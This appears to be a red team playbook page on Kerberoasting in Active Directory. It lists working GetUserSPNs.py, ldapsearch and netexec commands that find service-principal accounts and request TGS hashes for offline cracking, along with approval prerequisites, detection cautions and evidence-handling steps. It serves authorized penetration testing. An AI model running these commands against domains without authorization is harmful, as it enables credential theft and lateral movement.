XUTS LABS
Back to Red Team Playbooks
Active DirectoryRed Team Playbook

Kerberoasting

Find SPN-bearing users and request service tickets for authorized password-strength auditing.

KerberosSPNGetUserSPNsnetexec

Purpose

Use GetUserSPNs.py and LDAP SPN discovery accurately without replacing it with AS-REP tooling.

Inputs

  • - DOMAIN/user
  • - Password or approved hash
  • - DC_IP
  • - output hash file

Prerequisites

  • - DOMAIN
  • - DC_IP
  • - Valid domain credentials
  • - Approval for TGS request testing

Operator Assumptions

  • - Any authenticated user can usually request TGS tickets.
  • - SPN accounts should be validated before cracking effort.

Commands

Request TGS hashes

Kali
GetUserSPNs.py DOMAIN/user:'Password' -dc-ip DC_IP -request -outputfile kerberoast.hashes

Why: Find SPN users and request service tickets.

Expected: SPN rows and Kerberos TGS hashes.

LDAP SPN filter

Kali
ldapsearch -x -H ldap://DC_IP -D 'DOMAIN\user' -w 'Password' -b 'BASE_DN' '(servicePrincipalName=*)' sAMAccountName servicePrincipalName

Why: Confirm SPNs and service accounts directly.

Expected: Accounts with servicePrincipalName attributes.

netexec collection

Kali
netexec ldap DC_IP -u user -p 'Password' --kerberoasting kerberoast.hashes

Why: Alternative workflow using netexec naming.

Expected: Kerberoast hash output.

Decision Points

  • - If no valid credentials exist, do not run GetUserSPNs.py.
  • - If hashes are captured, store and handle them as sensitive evidence.
  • - If accounts crack, validate privileges before lateral movement.

Follow-On Actions

  • - BloodHound Collection
  • - LDAP Enumeration
  • - Password policy finding

Evidence To Capture

  • - SPN list
  • - TGS hash file path
  • - Tool version
  • - Cracking result or negative result

Common Failures

  • - Using GetNPUsers.py for SPNs
  • - Bad shell quoting around passwords
  • - Clock skew or DNS mismatch

Operational Cautions

  • - Kerberoasting can be detected through 4769 patterns.
  • - Do not disclose recovered credentials in chat.

Related Content

KerberoastingAsk EXO